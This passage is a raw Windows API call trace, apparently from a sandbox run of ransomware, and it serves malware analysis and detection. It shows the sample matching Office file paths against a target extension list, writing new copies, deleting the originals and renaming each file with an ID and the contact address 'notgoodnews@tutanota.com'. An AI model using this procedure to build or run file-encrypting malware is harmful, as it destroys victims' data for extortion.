lstrlenW (lpString=".ppt") returned 4 [0060.849] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.849] lstrlenW (lpString=".zip") returned 4 [0060.849] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.849] lstrlenW (lpString=".rar") returned 4 [0060.849] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.849] lstrlenW (lpString=".bz2") returned 4 [0060.850] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.850] lstrlenW (lpString=".7z") returned 3 [0060.850] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.850] lstrlenW (lpString=".dbf") returned 4 [0060.850] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.850] lstrlenW (lpString=".1cd") returned 4 [0060.850] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.850] lstrlenW (lpString=".jpg") returned 4 [0060.850] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.850] lstrlenW (lpString=".doc") returned 4 [0060.850] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.850] lstrlenW (lpString=".docx") returned 5 [0060.850] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.850] lstrlenW (lpString=".pdf") returned 4 [0060.851] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString=".xls") returned 4 [0060.851] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString=".xlsx") returned 5 [0060.851] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.851] lstrlenW (lpString=".ppt") returned 4 [0060.851] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.851] lstrlenW (lpString=".zip") returned 4 [0060.851] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.851] lstrlenW (lpString=".rar") returned 4 [0060.851] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString=".bz2") returned 4 [0060.851] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString=".7z") returned 3 [0060.851] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.851] lstrlenW (lpString=".dbf") returned 4 [0060.851] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.851] lstrlenW (lpString=".1cd") returned 4 [0060.852] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.852] lstrlenW (lpString=".jpg") returned 4 [0060.852] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.852] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.852] lstrlenW (lpString="VisioMUI.XML") returned 12 [0060.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.272] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9503) returned 1 [0062.272] CloseHandle (hObject=0x1fc) returned 1 [0062.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0062.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.210] GetLastError () returned 0x0 [0063.210] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x251f, lpOverlapped=0x0) returned 1 [0063.231] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0063.233] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.233] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.234] SetEndOfFile (hFile=0x19c) returned 1 [0063.234] CloseHandle (hObject=0x19c) returned 1 [0063.234] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.234] SetEndOfFile (hFile=0x1fc) returned 1 [0063.236] CloseHandle (hObject=0x1fc) returned 1 [0063.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0063.236] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0063.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.236] lstrlenW (lpString=".doc") returned 4 [0063.237] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString=".docx") returned 5 [0063.237] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0063.237] lstrlenW (lpString=".pdf") returned 4 [0063.237] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString=".xls") returned 4 [0063.237] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString=".xlsx") returned 5 [0063.237] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0063.237] lstrlenW (lpString=".ppt") returned 4 [0063.237] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.237] lstrlenW (lpString=".zip") returned 4 [0063.237] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0063.237] lstrlenW (lpString=".rar") returned 4 [0063.237] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString=".bz2") returned 4 [0063.237] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString=".7z") returned 3 [0063.237] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0063.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.237] lstrlenW (lpString=".dbf") returned 4 [0063.237] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0063.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.237] lstrlenW (lpString=".1cd") returned 4 [0063.238] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.238] lstrlenW (lpString=".jpg") returned 4 [0063.238] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.238] lstrlenW (lpString=".doc") returned 4 [0063.238] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString=".docx") returned 5 [0063.238] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0063.238] lstrlenW (lpString=".pdf") returned 4 [0063.238] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString=".xls") returned 4 [0063.238] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString=".xlsx") returned 5 [0063.238] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0063.238] lstrlenW (lpString=".ppt") returned 4 [0063.238] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0063.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.238] lstrlenW (lpString=".zip") returned 4 [0063.238] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0063.239] lstrlenW (lpString=".rar") returned 4 [0063.239] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0063.239] lstrlenW (lpString=".bz2") returned 4 [0063.239] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0063.239] lstrlenW (lpString=".7z") returned 3 [0063.239] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0063.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.239] lstrlenW (lpString=".dbf") returned 4 [0063.239] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0063.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.239] lstrlenW (lpString=".1cd") returned 4 [0063.239] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0063.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0063.239] lstrlenW (lpString=".jpg") returned 4 [0063.239] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0063.239] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0063.239] lstrlenW (lpString="Genko_2.emf") returned 11 [0063.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.630] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10340) returned 1 [0064.630] CloseHandle (hObject=0x1c0) returned 1 [0064.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0064.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.631] lstrlenW (lpString=".doc") returned 4 [0064.631] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0064.631] lstrlenW (lpString=".docx") returned 5 [0064.631] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0064.631] lstrlenW (lpString=".pdf") returned 4 [0064.631] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0064.631] lstrlenW (lpString=".xls") returned 4 [0064.631] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0064.631] lstrlenW (lpString=".xlsx") returned 5 [0064.631] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0064.631] lstrlenW (lpString=".ppt") returned 4 [0064.632] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0064.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.632] lstrlenW (lpString=".zip") returned 4 [0064.632] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0064.632] lstrlenW (lpString=".rar") returned 4 [0064.632] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0064.632] lstrlenW (lpString=".bz2") returned 4 [0064.632] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0064.632] lstrlenW (lpString=".7z") returned 3 [0064.632] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0064.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.632] lstrlenW (lpString=".dbf") returned 4 [0064.632] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0064.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.632] lstrlenW (lpString=".1cd") returned 4 [0064.632] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0064.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.632] lstrlenW (lpString=".jpg") returned 4 [0064.632] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0064.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.633] lstrlenW (lpString=".doc") returned 4 [0064.633] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0064.633] lstrlenW (lpString=".docx") returned 5 [0064.633] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0064.633] lstrlenW (lpString=".pdf") returned 4 [0064.633] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0064.633] lstrlenW (lpString=".xls") returned 4 [0064.633] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0064.633] lstrlenW (lpString=".xlsx") returned 5 [0064.633] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0064.633] lstrlenW (lpString=".ppt") returned 4 [0064.633] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0064.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.633] lstrlenW (lpString=".zip") returned 4 [0064.633] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0064.633] lstrlenW (lpString=".rar") returned 4 [0064.633] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0064.633] lstrlenW (lpString=".bz2") returned 4 [0064.633] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0064.633] lstrlenW (lpString=".7z") returned 3 [0064.633] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0064.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.633] lstrlenW (lpString=".dbf") returned 4 [0064.633] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0064.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.634] lstrlenW (lpString=".1cd") returned 4 [0064.634] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0064.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0064.634] lstrlenW (lpString=".jpg") returned 4 [0064.634] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0064.634] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0064.634] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0064.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.634] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3981) returned 1 [0064.635] CloseHandle (hObject=0x1c0) returned 1 [0064.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0064.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.635] lstrlenW (lpString=".doc") returned 4 [0064.635] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.635] lstrlenW (lpString=".docx") returned 5 [0064.635] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0064.635] lstrlenW (lpString=".pdf") returned 4 [0064.635] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.635] lstrlenW (lpString=".xls") returned 4 [0064.635] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.635] lstrlenW (lpString=".xlsx") returned 5 [0064.635] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0064.636] lstrlenW (lpString=".ppt") returned 4 [0064.636] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.636] lstrlenW (lpString=".zip") returned 4 [0064.636] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.636] lstrlenW (lpString=".rar") returned 4 [0064.636] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.636] lstrlenW (lpString=".bz2") returned 4 [0064.636] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.636] lstrlenW (lpString=".7z") returned 3 [0064.636] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.636] lstrlenW (lpString=".dbf") returned 4 [0064.636] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.636] lstrlenW (lpString=".1cd") returned 4 [0064.636] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.636] lstrlenW (lpString=".jpg") returned 4 [0064.636] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.637] lstrlenW (lpString=".doc") returned 4 [0064.637] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.637] lstrlenW (lpString=".docx") returned 5 [0064.637] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0064.637] lstrlenW (lpString=".pdf") returned 4 [0064.637] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.637] lstrlenW (lpString=".xls") returned 4 [0064.637] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.637] lstrlenW (lpString=".xlsx") returned 5 [0064.637] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0064.637] lstrlenW (lpString=".ppt") returned 4 [0064.637] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.637] lstrlenW (lpString=".zip") returned 4 [0064.637] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.637] lstrlenW (lpString=".rar") returned 4 [0064.637] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.637] lstrlenW (lpString=".bz2") returned 4 [0064.638] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.638] lstrlenW (lpString=".7z") returned 3 [0064.638] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.638] lstrlenW (lpString=".dbf") returned 4 [0064.638] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.638] lstrlenW (lpString=".1cd") returned 4 [0064.638] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0064.638] lstrlenW (lpString=".jpg") returned 4 [0064.638] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.638] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0064.638] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0064.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.639] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5115) returned 1 [0064.639] CloseHandle (hObject=0x1c0) returned 1 [0064.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0064.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 